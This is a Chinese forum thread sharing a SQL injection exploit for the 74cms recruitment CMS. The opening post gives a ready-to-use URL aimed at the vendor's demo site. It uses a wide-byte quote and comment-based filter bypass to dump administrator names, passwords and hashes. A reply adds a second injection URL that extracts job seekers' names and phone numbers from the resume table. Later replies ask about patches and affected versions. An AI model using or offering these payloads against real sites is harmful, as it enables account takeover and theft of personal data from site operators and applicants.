74cms最新通杀注入漏洞

90_

作者：暂时不知道

74官方测试：


Exp：

[AppleScript] 查看源码 复制代码

http://demo.74cms.com/plus/ajax_common.php?act=hotword&query=%E9%8C%A6%27union+/*!50000SeLect*/+1,group_concat%28admin_name,0x3a,pwd,0x3a,pwd_hash%29,3+from+qs_admin%23

vivi

多谢管理员分享。

vivi

可是密码是个问题！
这个是获取用户资料信息的exp：
plus/ajax_officebuilding.php?act=key&key=s%E9%8C%A6%27%20or%201=1%20union%20select%201,2,3,concat(0x3C2F613E20),5,6,7,concat(0x3C623E5E5F5E203C2F623E,id,fullname,telephone,0x3C623E205E5F5E3C2F623E),9%20from%20qs_resume%23

热心网友3

感谢分享，这个注入点看起来挺危险的，直接能拿到管理员密码和hash。官方demo上也能复现，说明影响范围不小。楼主有尝试在最新版本上测试吗？不知道官方出补丁了没。

热心网友3

感谢分享这个漏洞信息。看起来是74cms的SQL注入漏洞，Exp中使用了union select和注释符绕过等技巧。请问楼主是否知道这个漏洞影响的具体版本范围？以及官方目前是否有相应的修复补丁？建议使用该CMS的用户尽快检查自己的站点并采取防护措施。

热心网友3

感谢分享！这个注入漏洞看起来是利用了`union select`的变形和注释符来绕过过滤，确实比较典型。建议使用74cms的用户尽快检查自己的站点，升级到最新版本或打上相关补丁。同时也提醒大家关注官方安全公告。